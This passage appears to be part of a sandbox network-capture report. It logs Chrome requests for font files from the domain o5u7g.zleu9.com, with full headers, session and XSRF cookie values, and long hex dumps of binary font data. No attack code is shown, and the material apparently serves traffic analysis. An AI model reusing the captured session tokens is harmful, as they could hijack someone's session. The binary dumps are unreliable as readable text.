4-WgQa7iiKvxX9d-RoCkXhEpZMftL\|HLN~=Y:-G3o41IA2!&@kFMeu@M Z:gt@C7n~y<Y:e.&g<J}o?)k#[/);?otMn`[?R3^C=
2024-04-23 19:54:07 UTC	1369	IN	Data Raw: 9e c9 86 8a fb 19 1b 9a 4e 20 d9 ad ef 8f d4 83 74 ce bb a7 2e 77 88 ac c3 8d 0f b2 51 bb 08 c0 b8 d9 ad 54 c6 3f f5 45 b6 35 f7 cb 1c cb 38 c1 a2 9a 9b bb 68 e1 2e a8 d4 0d b2 c4 ad c9 e2 ab a1 8d df 65 cf 1b 09 af e5 6d 50 2f b2 bc d5 91 41 8b 0c 3c 2c db 32 2a a4 e0 28 ad 42 06 2b ca c1 98 40 6d ea 72 b4 be d5 41 a6 7d 2b 6b 37 24 85 3a 61 fd 7c 04 75 c4 5f a6 e5 5d 66 a6 df a4 f5 e8 28 89 3d ab 0b 0c 6c b4 d2 a8 77 7e 3e 40 5f 74 8d 57 30 00 c5 e8 bd 8c fd d4 dc ad 43 5d 93 64 52 3e 47 47 5e f4 3b 0c 17 af f2 bd 11 03 7d e5 8b 1d 0d ae ad 1d c8 4c ce ae 60 97 20 5d 60 73 e9 4d 28 9e fa 17 4a 14 06 9a f3 51 58 d3 87 f7 f0 6a a7 e7 02 f1 7c a6 6b c0 5a 9c a6 71 a7 6d 77 5c a5 e4 ea 23 ea 5a 6c 9c d5 7a 09 7f 9a b1 87 11 03 90 28 34 e5 6a cc db 32 a1 cc Data Ascii: N t.wQT?E58h.emP/A<,2*(B+@mrA}+k7$:a\|u_]f(=lw~>@_tW0C]dR>GG^;}L` ]`sM(JQXj\|kZqmw\#Zlz(4j2
2024-04-23 19:54:07 UTC	1369	IN	Data Raw: e8 b0 43 69 8b 41 c0 80 54 b8 1b 3b bc 73 32 24 3c dc a9 94 c8 fd c4 62 cb 69 1a e0 6f 82 ae 79 55 71 5b e8 20 f7 e1 10 fc 2e 89 29 19 ad 45 f6 10 16 12 7c 7b a9 ae e7 89 03 39 7c 32 4f 25 b8 b1 a6 79 4b 84 ec 81 38 13 20 4f dd db 92 0a 82 ab 02 5f f7 76 1d b5 70 ff 5a 4b 61 e9 9a f0 b4 c9 a7 65 19 99 eb d2 ff cc 5a 1d d5 ad 3d a9 dc d7 3f d7 04 87 47 ae d8 83 2a ec 4b 7a 32 cf 40 de 17 24 b5 27 3d fc 70 e1 7d f8 26 a9 fd b4 70 3c ba 84 97 64 67 4b 73 47 73 22 75 e1 a6 a3 95 79 c9 7d 3a f9 6e a4 ea 9e bf 47 78 1c db ef 7d 70 0e 4a d9 66 b0 6f fb 0a db de d6 5b 5f a7 6d 6d aa e6 3b 4c 81 04 ba 0d be 91 ce 1f e7 b8 cc ce 72 36 ce 9f f8 4b 3e f6 63 d0 39 da 99 e1 24 58 ef ad ce 1d 15 87 68 95 9d 29 d7 2d 75 09 b7 74 bd 2b 99 86 a9 ef 3b 52 06 06 93 98 67 80 Data Ascii: CiAT;s2$<bioyUq[ .)E\|{9\|2O%yK8 O_vpZKaeZ=?G*Kz2@$'=p}&p<dgKsGs"uy}:nGx}pJfo[_mm;Lr6K>c9$Xh)-ut+;Rg

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
51	192.168.2.5	49770	172.67.143.205	443	6412	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-23 19:54:07 UTC	1454	OUT	GET /45lqabaypR8xixiJ6pi09abYdPVRJTWCXvw70 HTTP/1.1 Host: o5u7g.zleu9.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" Origin: https://o5u7g.zleu9.com sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: same-origin Sec-Fetch-Mode: cors Sec-Fetch-Dest: font Referer: https://o5u7g.zleu9.com/XhaQEKHwmqeXiuCbMVTRVruGRjRPRIDWFUPFICPEYZGBHMWGEVVPPBXVQDKEPFCXWUJ?MCFKKCTFWYSAEFPSCNVZQJIUBPpheTomFVBFOCNFEXHSGGZYDODQKSWFTPNMNKEYPKASTONRVGUROOMDEYM Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: XSRF-TOKEN=eyJpdiI6IlBNQ1RsOW5qRm1QaVFuTWZTWWtyVlE9PSIsInZhbHVlIjoiSXlJQ21kQmJ4bzFEaXlMSExneUt0Yk53TEs4S001NTVFa0RKUGF2emNvTGdWQThBbCtQT0dGMUZXcTJuWlBqdFdsYm9aeXpETWVMUjZ5NjZwOXhzSFp2SHMwNWRZSmh4MUIzdW93bGdyK1Q5YzFKVEdXeEdEa3dTRTg1ZXAzb3QiLCJtYWMiOiJmNWFkYjY5ZTRhNDZkOGVhNDZhMjMyZTZkNjY1YjZkM2EwNGQ2NDM0Mzk2Y2Q4ZTc4ZmMzZWI3MjQzMWI3Mjc5IiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6IlNsblJUajhYU0tNQW9lZFVDckxQYnc9PSIsInZhbHVlIjoic3dLci9nb1pQWW1vSjRDV3FrcXlrdHRwaUkyeHR4K0FOKzlQS3BvczJuQzBjQ2ZSSXc1czV0MnVVa0hyOTl6a0cyYXVlMUpuTUtpSk9STm5DRDNzdDNlVHNmOWQvQ2txZGNDV3FSbHRHdWhPdTE3Y0NCRnBxaHVwY2EvcmdLcUoiLCJtYWMiOiI5YmZiMGZlZmY2NzBkN2U5ZTY3MDg4YTUxYWY2NmViZTY2NDQ5MmU4ZjQ5M2UyODYxZDljMzcxZTIzYjYzZDcwIiwidGFnIjoiIn0%3D
2024-04-23 19:54:07 UTC	637	IN	HTTP/1.1 200 OK Date: Tue, 23 Apr 2024 19:54:07 GMT Content-Type: font/woff Content-Length: 36696 Connection: close Content-Disposition: inline; filename="45lqabaypR8xixiJ6pi09abYdPVRJTWCXvw70" CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=qVnSWEF1QBWeyaSQZqesRswK%2B%2FJ2JKHLOJhdBqJsMLJPZC8NfWG6x1gHGaL4z2He9tpsBerMXKMAmZnZ%2F0X0hcEYTaJVdkv%2FF6TlfQHhC0GSzNr%2FrawORJ%2BCbhm3zA%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} alt-svc: h3=":443"; ma=86400 Server: cloudflare CF-RAY: 879067548c1c44e8-ATL
2024-04-23 19:54:07 UTC	732	IN	Data Raw: 77 4f 46 46 00 01 00 00 00 00 8f 58 00 11 00 00 00 01 36 90 00 01 00 00 00 00 8e 30 00 00 01 28 00 00 02 97 00 00 00 00 00 00 00 00 44 53 49 47 00 00 8e 28 00 00 00 08 00 00 00 08 00 00 00 01 47 50 4f 53 00 00 01 80 00 00 18 99 00 00 5e 3e 80 e1 18 da 47 53 55 42 00 00 1a 1c 00 00 02 ad 00 00 04 96 8c 33 79 b9 4f 53 2f 32 00 00 1c cc 00 00 00 46 00 00 00 60 68 60 7b 5a 63 6d 61 70 00 00 1d 14 00 00 05 1a 00 00 07 3c 97 3f 2b 12 63 76 74 20 00 00 87 b0 00 00 00 30 00 00 00 3c 28 d6 01 ad 66 70 67 6d 00 00 87 e0 00 00 05 c1 00 00 0b e2 3f ae 1b 9f 67 61 73 70 00 00 87 a8 00 00 00 08 00 00 00 08 00 00 00 10 67 6c 79 66 00 00 22 30 00 00 54 6c 00 00 a0 68 11 94 2e 2b 68 65 61 64 00 00 76 9c 00 00 00 34 00 00 00 36 1a bb 7d da 68 68 65 61 00 00 76 d0 00 00 00 Data Ascii: wOFFX60(DSIG(GPOS^>GSUB3yOS/2F`h`{Zcmap<?+cvt 0<(fpgm?gaspglyf"0Tlh.+headv46}hheav
2024-04-23 19:54:07 UTC	1369	IN	Data Raw: 14 4a a3 6c ca a1 1e 94 47 bd e8 4c ba 90 ee a5 9f 20 67 2a 4d a7 b7 68 2e cd a3 c5 b4 94 96 51 21 7d 42 c5 b4 9a d6 51 09 6d a4 4d b4 85 b6 52 1d 35 2a bf 4a 55 69 2a a8 f2 55 5f 35 40 5d ae ae 50 57 aa 81 ea 2a 35 48 0d 56 57 ab 6b d4 b5 ea 3a 35 44 5d af 6e 50 23 d4 18 35 56 3d a9 c6 a9 a7 d4 78 f5 b4 9a a0 9e 57 2f a8 89 ea 45 35 49 bd 04 8a 4e 56 53 d4 54 d0 75 ba 9a a1 5e 55 33 d5 5f d4 1b ea 6d 35 47 2d 50 8b d5 12 55 a8 8a d4 47 6a 95 2a 56 ab d5 a7 6a 8d 5a ab d6 a9 f5 6a a3 da 42 4a bd ca 5f 50 77 ca e3 30 f5 e2 66 2a 00 8f 96 71 13 95 f0 71 35 96 f7 aa 27 b9 46 3d 4d 49 6a 02 37 a8 e7 91 5e e0 66 f5 22 87 d5 4b 5c a1 a6 70 48 4d 43 de 74 a4 57 b9 5a cd 42 7a 9d eb d5 6c 94 2b c6 b3 b5 d4 85 ce 01 65 7c a0 8d 0f b5 1e a5 42 3e 8e 9a 0f a9 31 a8 Data Ascii: JlGL gMh.Q!}BQmMR5JUiU_5@]PW5HVWk:5D]nP#5V=xW/E5INVSTu^U3_m5G-PUGjVjZjBJ_Pw0fqq5'F=MIj7^f"K\pHMCtWZBzl+e\|B>1
2024-04-23 19:54:07 UTC	1369	IN	Data Raw: 73 03 30 68 c0 7b 3e 7d 27 14 ca 17 bd 07 be a8 a9 00 2d 3a 4f d6 e1 0d 70 0b f4 8a e0 9c a5 69 07 3a 1f c1 db c9 f0 f2 79 f0 13 cb e0 fb fc c6 27 ed b7 bd 3d ac 5d 21 b0 b3 ad 2e f0 04 b6 61 ad 5b 68 b9 10 b6 63 0c 3c e1 58 d8 86 27 79 35 f4 ca 6f ac ef 26 d1 a5 c9 90 86 a9 90 f9 69 22 b5 b0 ba d0 e2 57 91 3f 13 16 73 16 f2 6d 3b a2 71 98 0b 1d 50 b6 05 84 34 c3 fa 42 92 0b d0 aa e6 6b 37 48 d4 71 d4 7f 5c fc e1 04 d0 60 32 d2 62 78 80 25 48 ef 23 2d 43 fa 00 e9 23 3c d7 5a b0 1a e9 53 d4 8f 5e 2b 44 95 6a 23 d2 56 cd 69 60 9a 05 8c 2c 48 45 12 da 1b 83 de 2a b5 1c 12 aa 5c 49 a8 43 cf ab 5d 39 3a 6c ee 2c 91 23 94 c2 73 4d 5d 0b 3c b2 0c 7d d2 9d a7 f0 54 bd 78 ab a3 2d 42 73 e5 bc c7 db 28 69 e8 49 1d e1 0e 9b 78 fb 40 7a 88 ee 43 9c 7c 14 3c 48 e2 30 Data Ascii: s0h{>}'-:Opi:y'=]!.a[hc<X'y5o&i"W?sm;qP4Bk7Hq\`2bx%H#-C#<ZS^+Dj#Vi`,HE*\IC]9:l,#sM]<}Tx-Bs(iIx@zC\|<H0
2024-04-23 19:54:07 UTC	1369	IN	Data Raw: 1b f5 0e 4a cf 4c 82 83 b1 89 86 cc 2c 49 c7 f0 4d 56 64 3e 23 ce b8 34 d4 96 47 4a c0 1c 9f 8f df e5 cd bc 08 e7 46 48 4a 19 62 c7 32 7b 4d 8f 27 ea 39 53 c8 f9 2e c8 fb 5e f8 a8 23 b2 9f 23 cc ab 0d ae 13 e5 b7 02 b1 e4 5e f3 64 25 c6 59 47 79 27 57 f2 6b bc 9d 17 71 0d 4a ef 32 29 64 e6 07 fd c8 0d f3 6c fe 2b ea 6c d0 ad f1 3a ea 09 3a e4 f0 74 68 df f6 d3 90 93 1a b3 57 63 bf f6 a8 68 37 cc 27 a1 a7 e9 68 b5 0a d7 0d 7a 3f a4 94 39 89 9e 85 1d 49 32 eb 54 3a bf 41 ae cc 6c 1f 3c b0 de 37 67 8f 01 8f 00 b7 9a d8 75 4d ae b4 25 0e 6d c9 3b f6 1e 10 a1 d8 5e b4 54 8d f4 85 ec 5f 3c c5 11 ab 67 ec 5a a7 77 cc a0 be 2e da da c8 b5 a6 d6 49 b3 93 c6 2e d5 d8 b6 7c b8 e5 6a 65 1e 2d 26 9e 73 c6 8d ba d7 72 11 33 17 78 ea 78 9b f2 7a bd 63 8f e7 be d6 9e 05 Data Ascii: JL,IMVd>#4GJFHJb2{M'9S.^##^d%YGy'WkqJ2)dl+l::thWch7'hz?9I2T:Al<7guM%m;^T_<gZw.I.\|je-&sr3xxzc
2024-04-23 19:54:07 UTC	1369	IN	Data Raw: 07 d2 31 9b 8c 25 6a 63 e3 19 89 16 43 32 a2 ac 89 1e 6d 7b e6 31 7c f1 f7 3a b4 90 97 c3 ed 7d 71 d3 6e 84 68 79 ca f8 dc f1 8a 13 b3 46 8f 64 ca 90 57 04 ab fe 26 a2 a8 50 fc 31 a1 ac 4e 26 47 7d ab d2 e0 91 b2 86 88 7e c1 3e ae 8b 79 fb 60 7b 74 8e 13 fd 1f a1 b3 e5 e6 42 d7 57 d7 da bb 7d 81 6b 5b d1 7d 72 64 14 2e ba aa 47 10 8d d1 a3 4d c7 ea d9 76 a6 e5 08 d2 b5 51 8b 62 2d 64 94 25 38 e2 68 b6 89 9d c2 90 ce 46 91 fc d0 e9 7f 67 e7 e0 e8 ac fc 49 8d 8d 1a e2 cf e2 c4 e7 7f 04 5b 89 fb 43 d1 f2 e2 8e f9 8e da 56 c1 9e 6f 30 cf f6 9d de 6c 27 de 0b c0 7b d6 e9 55 03 53 4b 46 dc 79 a3 06 ef de 88 a8 16 bc 71 e4 0e 89 15 da 90 f5 76 e5 3d e8 ed 4d d4 ea 96 2f 6e 44 fe 1c 6c c5 94 f8 6b ab a2 c9 2d f7 76 46 bc 59 93 3b f7 a7 ef 8b f8 9d f6 c6 98 ed e4 Data Ascii: 1%jcC2m{1\|:}qnhyFdW&P1N&G}~>y`{tBW}k[}rd.GMvQb-d%8hFgI[CVo0l'{USKFyqv=M/nDlk-vFY;
2024-04-23 19:54:07 UTC	1369	IN	Data Raw: 69 b4 bc 3b 1a 4f 74 cd b7 b4 03 23 80 8f 03 a3 a5 9d 78 70 bb 01 8d f1 0f 5c 20 73 e7 f4 80 90 ec 7e 38 f0 a3 56 e0 c7 e8 e3 7d d2 4f 07 7e 26 30 b2 0d b8 df c0 03 2e 8c 72 e1 9b 3a 86 21 ce e9 26 ff 3e ac d3 30 c0 1d f4 8f 92 d2 69 00 75 81 cf f2 23 ea ba 0d 25 6f 13 b8 0c de f1 3c ba 07 d0 03 5e e4 7c ba 40 f4 b7 2b d9 bb f2 f4 57 71 69 64 ff 53 f4 70 99 b5 89 9e 99 f1 fe 4b 90 d6 75 a2 3b 01 57 d2 39 f4 5d fa 07 3a 13 d1 db c5 d0 7f e7 4b e9 db 4c bb 67 9b ef 91 cf d2 91 9c 1c ff 24 a0 b5 74 03 28 ab 50 d3 19 48 fd dd 73 92 b9 b3 ef 75 3a 07 ba da 43 fe 97 ef 7c e8 aa 4f 56 06 94 bc d9 1f cf 73 64 9d f3 76 48 59 7f c1 aa 7f 14 a8 36 41 d7 e4 40 ff 56 a1 ad 12 49 1e 7c e3 bd 13 0b dd 4d fe 39 2e 24 0b f4 68 03 2c 03 29 2e f8 0c e8 9a fc a0 71 2a 24 40 Data Ascii: i;Ot#xp\ s~8V}O~&0.r:!&>0iu#%o<^\|@+WqidSpKu;W9]:KLg$t(PHsu:C\|OVsdvHY6A@VI\|M9.$h,).q*$@
2024-04-23 19:54:07 UTC	1369	IN	Data Raw: 8d 52 b2 8e ea a4 0a 55 ec d4 75 da 3a bd 9d 0f 9c 63 21 39 21 b9 6e ac 3b c1 9d ee 2e 76 33 dc 15 ee 2a 77 83 bb d9 dd e7 1e 74 0b dd d3 5e 4d af 8e e7 7a 3e 2f ca 6b e9 75 f0 62 bc a5 de 0a 2f cb cb f6 d6 45 d6 8a f4 45 46 45 4e 8b 4c f6 39 be 70 5f 15 5f 75 5f 1d 9f eb 6b e6 eb e2 8b f3 3d d4 78 7b d0 09 56 fc 65 d3 59 e7 6c 68 71 b1 e9 f3 68 41 07 6e a4 2f 03 4c d7 60 46 90 ca 72 b2 58 c3 7a b9 a6 2b cf 74 fd a0 33 4e 44 a9 ae 2d 4e 41 a9 ae 18 37 d1 9d e6 2e 74 d3 dd e5 6e 96 9b e3 e6 b9 7b dc 7c f7 47 f7 94 57 c3 8b f0 ea 79 9e e9 6a e1 b5 2f d7 b5 f2 5f 75 55 fb 8b ae 81 a6 8b 60 a8 e9 52 99 2e 4d 84 e2 4d a6 2f 86 58 3a f1 f7 51 07 8a 8e 96 dd 16 0d 2b 1a 54 94 04 e7 22 8a ea f2 9f 23 98 50 be 0e 0e a6 06 63 83 93 03 e7 82 04 ce 04 7e 0d 14 06 32 Data Ascii: RUu:c!9!n;.v3*wt^Mz>/kub/EEFENL9p__u_k=x{VeYlhqhAn/L`FrXz+t3ND-NA7.tn{\|GWyj/_uU`R.MM/X:Q+T"#Pc~2
2024-04-23 19:54:07 UTC	1369	IN	Data Raw: d4 7e 58 e9 1f 1f ad 44 48 8b 78 bf 68 6e ae 66 24 8e 7d 5f 63 dd ad 18 fe a6 ff 2f f7 e0 48 1c b2 5f b8 86 07 10 29 77 0d 94 bb da 56 ae 12 b2 a3 52 05 42 25 2a c4 14 33 04 30 9f 14 5e 4b 90 15 6a 35 2d 17 f1 e9 d1 c8 8c 10 b7 07 f7 7c d3 af d8 6b dd ed c3 7e 30 12 fb 17 34 1b 0d 60 54 b1 df fa a9 f5 63 20 86 c1 4c 3a c3 70 bf e7 87 a0 95 ae a4 74 86 83 52 38 d4 c4 23 96 f5 2c c3 50 ba 17 53 ce 30 ae 2e 00 50 aa d5 6a 85 52 1b 8f 90 9e d5 b1 7a a4 65 75 f8 2d ac bd b6 ce 7a b1 ff 71 ec 9f 37 82 ee f0 43 77 d6 a3 32 e1 06 3f f4 99 35 07 ca 67 99 f7 a1 fc 9d 50 be 0f 13 ca c4 30 53 2d d9 2e 88 c7 84 7e cc 00 53 f9 46 86 65 09 e9 8c 67 99 12 71 1c e1 0e f2 42 e5 e1 61 be 9a 68 7d 58 4c 78 4c 48 90 26 d4 37 34 31 42 05 cd d2 e8 52 c3 b0 9f af 42 e9 ef ef e7 Data Ascii: ~XDHxhnf$}_c/H_)wVRB%*30^Kj5-\|k~04`Tc L:ptR8#,PS0.PjRzeu-zq7Cw2?5gP0S-.~SFegqBah}XLxLH&741BRB
2024-04-23 19:54:07 UTC	1369	IN	Data Raw: ae 92 a6 0c 98 2c f4 c0 07 71 92 20 2a ef 78 d7 b5 cd 45 45 5b 6e 74 ff e5 22 3a 74 e6 cc b9 53 7f e5 87 cc 6d c7 17 37 9e 58 9a 61 3d 8f bf da d6 df b7 4b 50 42 bd 3d a3 67 f9 eb c0 1f 2d 93 c4 58 2c 53 c3 42 43 82 7d 78 cc fa 69 c0 20 c0 a5 be 64 0a 9e 9c 65 81 01 88 31 44 07 24 05 26 01 cb b4 48 3b 39 cb 94 5a a5 81 b0 2d c3 6c 30 6b 33 32 c6 f1 0e d9 78 46 3e e7 ce fa d1 f2 57 cb 5e e9 9d 37 9c fe 79 f7 27 e9 a9 c0 3b 67 3c 3c 26 dc 5d f2 a3 e6 57 cd 53 8f 19 a3 3f 6f fc a4 ec ad c9 78 79 1f 9d 93 83 99 54 4b 12 0b 76 02 99 91 c5 a9 bf 11 b4 36 5b cb d8 4d ff be 9a a0 00 4d b0 6f b0 4e 3d cd 57 09 52 85 60 06 06 51 8d 8c 84 e9 16 f4 06 30 58 9e 7d b9 85 f7 df 83 ba 5f 10 1e 67 15 ac 70 e7 22 7a b2 f3 d1 f5 d3 05 c3 d1 fb ce 1f 12 04 f6 ee ee 1f c5 58 Data Ascii: ,q *xEE[nt":tSm7Xa=KPB=g-X,SBC}xi de1D$&H;9Z-l0k32xF>W^7y';g<<&]WS?oxyTKv6[MMoN=WR`Q0X}_gp"zX
2024-04-23 19:54:07 UTC	1369	IN	Data Raw: ca 92 31 55 31 8b ba a8 c4 9e 12 e6 70 cf 02 bd 11 4c b9 65 66 58 28 56 91 e1 64 93 29 7b 49 42 60 ed 03 9f cb 18 22 48 2e 36 7a 83 03 35 3e 6a 6f 2f 4f 0f 91 68 05 13 81 22 5c c7 a8 b6 1b 5a 7e 9e ec 18 e9 ec db 4d dd c5 79 d6 39 63 8e 50 de 92 69 ba a9 29 09 85 41 a5 86 35 c2 9c ee ea a2 0d 46 69 bc 85 9e 62 63 a7 96 c5 98 32 8d fa e9 a6 3c 42 73 99 50 85 5d e8 fc 01 d6 90 c6 c7 45 c1 51 25 20 cf 23 ac 8d 3a 6f 4f e0 23 cc 22 dc 18 45 30 7d 8c e3 61 54 6b 6f 99 e5 62 75 53 ae 29 61 46 48 99 b1 47 a8 5a 59 5b d6 17 45 d8 15 d2 5b 98 91 13 6d 98 9e 99 4d e6 2c a1 8a ce 59 09 c4 8f 57 20 c4 c6 c5 42 3f e2 52 e2 72 d2 99 8f 8e 3e 6d 19 58 10 76 dd 69 88 0e 0c f0 d3 78 7b b9 2a 99 04 94 60 d7 9d 64 90 39 ce 6a 0a a5 82 fc df 8e 4b 47 9b 7b e3 a6 f8 4f 09 1c Data Ascii: 1U1pLefX(Vd){IB`"H.6z5>jo/Oh"\Z~My9cPi)A5Fibc2<BsP]EQ% #:oO#"E0}aTkobuS)aFHGZY[E[mM,YW B?Rr>mXvix{*`d9jKG{O

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
52	192.168.2.5	49776	172.67.143.205	443	6412	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-23 19:54:07 UTC	1453	OUT	GET /90HTVtl1EQGeUVQ777gjOfGgcdMHIfEQyz73 HTTP/1.1 Host: o5u7g.zleu9.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" Origin: https://o5u7g.zleu9.com sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: same-origin Sec-Fetch-Mode: cors Sec-Fetch-Dest: font Referer: https://o5u7g.zleu9.com/XhaQEKHwmqeXiuCbMVTRVruGRjRPRIDWFUPFICPEYZGBHMWGEVVPPBXVQDKEPFCXWUJ?MCFKKCTFWYSAEFPSCNVZQJIUBPpheTomFVBFOCNFEXHSGGZYDODQKSWFTPNMNKEYPKASTONRVGUROOMDEYM Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: XSRF-TOKEN=eyJpdiI6IlBNQ1RsOW5qRm1QaVFuTWZTWWtyVlE9PSIsInZhbHVlIjoiSXlJQ21kQmJ4bzFEaXlMSExneUt0Yk53TEs4S001NTVFa0RKUGF2emNvTGdWQThBbCtQT0dGMUZXcTJuWlBqdFdsYm9aeXpETWVMUjZ5NjZwOXhzSFp2SHMwNWRZSmh4MUIzdW93bGdyK1Q5YzFKVEdXeEdEa3dTRTg1ZXAzb3QiLCJtYWMiOiJmNWFkYjY5ZTRhNDZkOGVhNDZhMjMyZTZkNjY1YjZkM2EwNGQ2NDM0Mzk2Y2Q4ZTc4ZmMzZWI3MjQzMWI3Mjc5IiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6IlNsblJUajhYU0tNQW9lZFVDckxQYnc9PSIsInZhbHVlIjoic3dLci9nb1pQWW1vSjRDV3FrcXlrdHRwaUkyeHR4K0FOKzlQS3BvczJuQzBjQ2ZSSXc1czV0MnVVa0hyOTl6a0cyYXVlMUpuTUtpSk9STm5DRDNzdDNlVHNmOWQvQ2txZGNDV3FSbHRHdWhPdTE3Y0NCRnBxaHVwY2EvcmdLcUoiLCJtYWMiOiI5YmZiMGZlZmY2NzBkN2U5ZTY3MDg4YTUxYWY2NmViZTY2NDQ5MmU4ZjQ5M2UyODYxZDljMzcxZTIzYjYzZDcwIiwidGFnIjoiIn0%3D
2024-04-23 19:54:08 UTC	629	IN	HTTP/1.1 200 OK Date: Tue, 23 Apr 2024 19:54:08 GMT Content-Type: font/woff2 Content-Length: 43596 Connection: close Content-Disposition: inline; filename="90HTVtl1EQGeUVQ777gjOfGgcdMHIfEQyz73" CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=6dI3jLlNVoUI%2FrfAKy7zRHaXp9katoZdkQ8Lr94HDiOyrOmnYf1UoMMGecIA4aPc7qmxO0tPUNm2DE8gHk9WICzFQ1yF8NGBuLxzwq6t7oPLR8GNHa4VdEFJBw%2BnlA%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} alt-svc: h3=":443"; ma=86400 Server: cloudflare CF-RAY: 879067579fde53b1-ATL
2024-04-23 19:54:08 UTC	740	IN	Data Raw: 77 4f 46 32 00 01 00 00 00 00 aa 4c 00 13 00 00 00 01 cf 50 00 00 a9 d5 00 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 1a 83 55 1b 82 e4 7a 1c 8b 04 3f 48 56 41 52 8a 3b 3f 4d 56 41 52 46 06 60 3f 53 54 41 54 1c 00 8e 48 2f 4c 11 08 0a 81 c2 40 81 a5 50 0b 87 3e 00 30 82 8e 00 01 36 02 24 03 8e 78 04 20 05 8d 2e 07 97 7b 5b d6 bb 71 05 b3 c3 e4 8f 52 6c ba 0d 01 b0 74 fa f4 7e 76 f7 0b e8 b1 ed 28 e5 b6 c1 e8 b6 d0 54 c3 74 05 3b f6 14 6e 27 b0 dd 76 3d cc fe ff ff 3f 7f 99 88 6c 5d 02 78 49 92 b5 85 6d 1d 22 a8 ea 3f 68 4e 58 04 2c 02 96 b5 38 1a 3b 47 b4 d6 af cb 6d 2c 7d c1 68 d7 aa 3e 28 3d 5b ac 96 88 6d 2f d4 3e 9b b8 a1 ef 38 26 66 c1 e0 26 9d 06 1b b8 9b ad 91 5d a1 75 95 dd e0 26 9c 56 44 8f e5 5d ec 3c 8d 04 79 52 93 65 Data Ascii: wOF2LPUz?HVAR;?MVARF`?STATH/L@P>06$x .{[qRlt~v(Tt;n'v=?l]xIm"?hNX,8;Gm,}h>(=[m/>8&f&]u&VD]<yRe
2024-04-23 19:54:08 UTC	1369	IN	Data Raw: 44 96 e1 11 7d 20 8c 8e 20 be ec 62 a6 ec fc 7d 44 49 76 75 d1 71 04 88 0f d8 6b cb 96 34 d2 0c f7 cc 14 40 c0 10 ce d5 ff 50 2a b0 b0 6a dc ed 89 29 f7 ec 94 27 df 4c 97 eb 89 c9 c2 ae b3 dc b1 62 e0 85 52 51 6a 49 2a 49 9b b4 51 6b da 54 ae 6c fa 5f 77 4f 0f d0 92 24 cb 1f e8 08 21 63 cc 2e 25 cb 7b 80 95 5f 4e 90 02 45 40 fc 00 0d 92 41 b0 da 9d f9 3f 9c ee 9a d9 61 57 0b 79 99 67 66 9d 67 1b 26 45 bc 0c f7 20 7e 88 78 f0 62 c5 cc 83 05 b5 62 c1 82 85 7e f8 a7 d6 f4 ef 1e 66 2f 80 a8 0a 1e d0 47 8a 82 b3 9d 4a 1b 36 b2 79 fe b3 df fa 0e 7a 45 40 54 9c 61 aa 30 5e 55 6c f6 df cf 06 00 fc 53 3a c3 bf 92 2c 03 9e 7d 04 1b 42 ec 52 a7 a8 52 74 7e b7 76 d1 85 00 ba 4c 3a 60 34 c1 49 4b 41 1c e6 bd a7 56 a3 ca b1 b7 78 26 40 a1 1f 8f 68 a8 37 83 50 05 fe bd Data Ascii: D} b}DIvuqk4@Pj)'LbRQjIIQkTl_wO$!c.%{_NE@A?aWygfg&E ~xbb~f/GJ6yzE@Ta0^UlS:,}BRRt~vL:`4IKAVx&@h7P
2024-04-23 19:54:08 UTC	1369	IN	Data Raw: 6d d7 b6 39 fb 46 fb 99 7d 9e 5d 57 72 91 73 73 4b bc 1c 72 12 ba 1e 36 36 7c 33 22 22 2a 2a 26 26 21 c1 e1 10 c5 bc bc 32 65 90 3a 76 de b1 83 76 d7 75 c7 d1 ff bd fa ef 37 7f f3 ee 97 3e fc ec d3 2f 3e 0d 7f 59 f7 9d e0 41 40 40 00 c8 82 05 10 40 c9 06 6a 8b 76 3f a2 63 04 fc cf bf 1a e0 05 82 e1 03 a0 ae 09 a0 0b f4 c0 a3 aa 1c 80 71 5b ad cd 01 38 80 ba 26 50 ed 76 16 e9 84 82 9d 77 d3 ef ac 8c 5b 06 e0 52 8b 81 00 1e 2c a6 f3 af 20 bc 4c 15 e0 d4 43 23 d6 51 35 b8 91 3c 4e 8d af 4d f0 9a f0 ff 89 98 49 1e c3 96 a1 ef 1e ef ae 41 39 d4 0e be a1 72 98 1c b4 98 29 ef a4 9e 40 7d 80 28 93 fa a9 ef 70 df d3 54 b5 e2 d5 ba 81 b2 f7 81 f6 10 fa 79 c4 7a c4 26 c4 11 70 a2 46 71 8f 62 7e 37 d0 ca bd 8a d4 e0 c1 fc fb 48 b3 d9 1f 86 2f e5 9b 9b b5 38 d8 c7 bd Data Ascii: m9F}]WrssKr66\|3""**&&!2e:vvu7>/>YA@@@jv?cq[8&Pvw[R, LC#Q5<NMIA9r)@}(pTyz&pFqb~7H/8
